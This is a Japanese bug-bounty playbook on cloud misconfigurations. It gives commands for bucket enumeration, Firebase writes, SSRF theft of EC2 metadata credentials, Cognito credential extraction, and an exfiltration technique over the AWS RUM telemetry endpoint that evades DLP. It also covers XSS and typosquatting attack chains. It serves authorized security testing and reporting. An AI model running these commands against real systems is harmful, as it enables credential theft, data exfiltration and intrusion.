hunt-cloud-misconfig

16. クラウド／インフラの設定ミス

S3 / GCS / Azure Blob

# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json"   # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'  # write

EC2 メタデータ（SSRF 経由）

http://169.254.169.254/latest/meta-data/iam/security-credentials/  # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys

公開された管理パネル

/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html
/phpMyAdmin  /.env  /config.json  /api-docs  /server-status

---

Jenkins の SSO 制限の不備 → Script Console による RCE

任意の個人用 Google／OAuth アカウントで認証できる（組織ドメインの制限がない）公開 Jenkins は、完全な侵害につながります。ログイン後、/script（Groovy コンソール）で RCE が可能です。また、/credentials と /scriptText から、保存された API トークンやソースコードが漏えいする可能性があります。報告先：reports/231460。

デフォルト認証情報を使用する公開メッセージブローカー（RabbitMQ / AMQP）

RabbitMQ の管理機能（http://TARGET:15672/、API :15672/api/overview）と AMQP :5672 を調査し、デフォルトの guest:guest を試します（loopback_users の設定に不備がある場合、localhost 以外でも使用できます）。キュー／メッセージの読み取り、vhost の列挙、管理プラグインの管理者権限につながる可能性があります。報告先：reports/753602。

ローカル検証ツールチェーン

実際のクラウドに接続する前、または接続する代わりに、ローカル AWS シミュレーターに対してクラウド設定の誤りをテストする場合：

# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0

# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1

これらの環境変数を設定しないと、aws s3 cp/sync は InvalidRequest で失敗します。このことをチームに共有してください。再現可能なフローの全体については、docs/verification/phase2j-cloud-localstack.md を参照してください。

---

CloudWatch RUM の武器化（2024-2026 年の攻撃対象）

AWS CloudWatch RUM（Real-User Monitoring）は、2021 年後半に開始されたクライアント側テレメトリサービスです。利用者はページに JS スニペットを埋め込み、パフォーマンス／エラーイベントを dataplane.rum.<region>.amazonaws.com に送信します。スニペットの AppMonitor 設定には identityPoolId（Cognito）と guestRoleArn（IAM ロール）が含まれます。どちらも設計上公開されています。IAM ロールポリシーがセキュリティ境界となりますが、開発者がポリシーをドキュメントに記載された最小権限（AppMonitor ARN に対する rum:PutRumEvents）より広く設定した場合、プール全体が cloud-iam-deep → Cognito Identity Pool チェーンで説明されている、認証なしで AWS 認証情報を払い出す仕組みになります。

検出 — JS バンドルの特徴

スニペット形式（最も一般的。<head> 内に埋め込み）：

(function(n,i,v,r,s,c,x,z){...})(
  'cwr',
  '00000000-0000-0000-0000-000000000000',                       // applicationId (UUID)
  '1.0.0',
  'us-east-1',
  'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
  {
    sessionSampleRate: 1,
    guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
    identityPoolId: "us-east-1:abcd1234-...",
    endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
    telemetries: ["errors","performance","http"]
  }
);

NPM 形式（aws-rum-web パッケージ）：

import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);

調査用の正規表現セット

# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .

# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .

# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .

# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .

# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .

攻撃チェーン

チェーン A — 認証情報の抽出（guestRole に過剰な権限がある場合は重大）。 ページから identityPoolId を抽出すれば、誰でも次を実行できます。

aws cognito-identity get-id \
  --identity-pool-id "us-east-1:abcd1234-..." \
  --region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:<returned-uuid>" \
  --region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity        # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py

チェーン全体については、cloud-iam-deep → Cognito Identity Pool の認証なしチェーンに記載されています。RUM は、埋め込みによく使われる状況の一つです。

チェーン B — テレメトリエンドポイントを介した秘匿データ流出。 dataplane.rum.<region>.amazonaws.com は、あらゆる企業の許可リストに含まれるAWS 所有ドメインです。PutRumEvents のペイロードでは、userDetails および customEvents の文字列フィールドに任意の値を設定できます。

aws rum put-rum-events \
  --id $(uuidgen) \
  --app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
  --user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
  --rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
  --endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
  --region us-east-1

出口トラフィックを監視する防御側には、正常な AWS ホスト名への通信として見えます。DLP は JSON 本文を解析せず、SIEM ルールが顧客の RUM テレメトリを取り込むことも通常ありません。

チェーン C — スニペットのソース汚染による DOM インジェクション。 多くの利用者は cwr.js を自社の CDN（assets.target.com/cwr.js）でホストするか、aws-rum-web をバンドルして static.target.com/main.<hash>.js から配信しています。JS ホストのサブドメイン乗っ取り、またはサプライチェーン侵害（aws-rum-webb を狙った npm タイポスクワッティング）により、aws-rum-web SDK の信頼性と、すでに付与されている Cognito 権限を利用して、ページが読み込まれるたびに永続的な JS 実行が可能になります。

チェーン D — テレメトリの注入／ダッシュボードの汚染。 公開されている identityPoolId と applicationId を使えば、外部の攻撃者は PutRumEvents に偽のエラー急増を大量に送りつけ（実際のアラートを埋もれさせる）、SOC アナリストが CloudWatch ダッシュボードを表示した際に実行される XSS ペイロードをページ URL のテレメトリに注入し、課金対象の RUM イベント数を水増しできます（財務的な DoS）。

重大度の基準

検出事項	重大度	根拠
guestRoleArn に *:*、または複数のサービスに対するワイルドカードが設定されている	重大（9.1 以上）	匿名で AWS にフルアクセスできます
guestRoleArn に、本番リソースに対する s3:*、dynamodb:*、secretsmanager:*、lambda:Invoke* が設定されている	高（7.5～8.8）	リソースによって、データ窃取や RCE が可能です
guestRoleArn に cognito-identity:* または iam:PassRole が設定されている	高（8.0）	権限昇格につながるプリミティブです
guestRoleArn に rum:PutRumEvents のみが設定され、エンドポイントにスコープを限定したリソースが指定されている	参考情報	文書化されている意図どおりの設定です
RUM の userDetails によって、CloudWatch コンソールで閲覧可能なイベントに PII が記録される	中（5.3～6.5）	ダッシュボードの共有による機密データの漏えいです
RUM AppMonitor が任意のインターネットソースからの PutRumEvents を受け入れる（テレメトリの注入）	低～中（4.3）	ダッシュボードの汚染、アラートの回避、課金に対する DoS につながります
乗っ取り可能なサブドメインでセルフホストされた cwr.js	チェーン化した場合は重大（9.8）	すべての顧客ページで永続的な保存型 XSS が発生します

公開済み事例／信頼できる解説記事

2026-05 時点で、AWS RUM に特化した CVE は割り当てられていません。この種の攻撃は調査で文書化されていますが、RUM に関する具体的なバグバウンティの報奨金事例は、公に確認できるものがほとんどありません。このパターンは「埋め込み SDK による Cognito ID プールの過剰な権限付与」であり、RUM は埋め込みに使われることの多い SDK の 1 つです。

• Andres Riancho — 「Misconfigured Cognito Identity Pools」（2020/2023） — この種の攻撃の概要を確立しています。andresriancho.com
• Rhino Security Labs — Pacu cognito__enum_identity_pools — Chain A を自動化する実用ツールです。github.com/RhinoSecurityLabs/pacu
• NotSoSecure / Claranet — 「Exploiting weak configurations in Amazon Cognito」（2023 年 11 月） — プール ID を漏えいさせることの多い 3 つの SDK の 1 つとして、RUM を明示的に挙げています。notsosecure.com
• HackTricks Cloud — aws-cognito-unauthenticated-enum — 標準的な手順書です。cloud.hacktricks.wiki
• Datadog Security Labs — 「Following AWS Logs Backwards: Cognito Identity Pool Abuse」（2024） — 実環境での悪用率を示すテレメトリです。securitylabs.datadoghq.com
• aws-observability/aws-rum-web GitHub issues #213, #404 — 同梱スニペットのセキュリティモデルに関するコミュニティの議論です。github.com/aws-observability/aws-rum-web

検証チェックリスト（報告前）

1. ページのソースから identityPoolId を抽出します。
2. プールが未認証 ID を許可していることを確認します（認証なしで get-id が成功する）。
3. get-credentials-for-identity が STS 認証情報を返すことを確認します。
4. aws sts get-caller-identity を実行し、ロール ARN のスクリーンショットを撮ります。
5. enumerate-iam／Pacu iam__enum_permissions を実行し、rum:PutRumEvents 以外で許可されているアクションを少なくとも 1 つ記録します。これがなければ、検出事項は参考情報です。
6. 実際のリソースに対する読み取りまたは一覧表示を少なくとも 1 つ実証します（S3 バケット一覧、DynamoDB スキャン、Lambda 呼び出し）。
7. 許可されていても、データを変更・削除しないでください。PoC は読み取り専用に限ります。

関連スキルとチェーン

• hunt-subdomain — 削除済みバケットを指す古い CNAME は、乗っ取りの宝庫です。チェーンの基本要素：クラウドの設定ミス（S3 の公開／削除）＋ hunt-subdomain → 未取得の CNAME がバケットを指す → assets.target.com の乗っ取り。
• cloud-iam-deep — 公開バケットに漏洩した SA JSON／AWS キーがあるだけでは、バグの半分にすぎません。チェーンの基本要素：公開 S3 ＋ .env 内の漏洩した AWS キー → cloud-iam-deep による列挙 → サービスをまたいだ iam:PassRole 権限昇格。
• hunt-ssrf — メタデータサービスには VPC 内からしかアクセスできません。SSRF が橋渡しになります。チェーンの基本要素：SSRF ＋ クラウドの設定ミス（IMDSv1 がまだ有効）→ インスタンスロールのキー → S3／RDS のデータ読み取り。
• supply-chain-attack-recon — 露出した CI/CD エンドポイントと SBOM から、内部パッケージ名が判明します。チェーンの基本要素：露出した Jenkins／GitLab ＋ 内部パッケージ名の漏洩 → npm／PyPI への依存関係混同パッケージの公開 → CI ビルドの侵害。
• security-arsenal — クラウドバケットのワードリスト（target-prod／target-backup／target-staging の組み合わせ）と管理パネルのパスリストを読み込み、迅速に列挙します。
• triage-validation — Unique-Marker ゲートを適用します。「書き込み可能なバケット」という主張には、レポート提出前に一意のマーカーファイルを書き込み、クリーンなセッションから読み戻すことが必須です。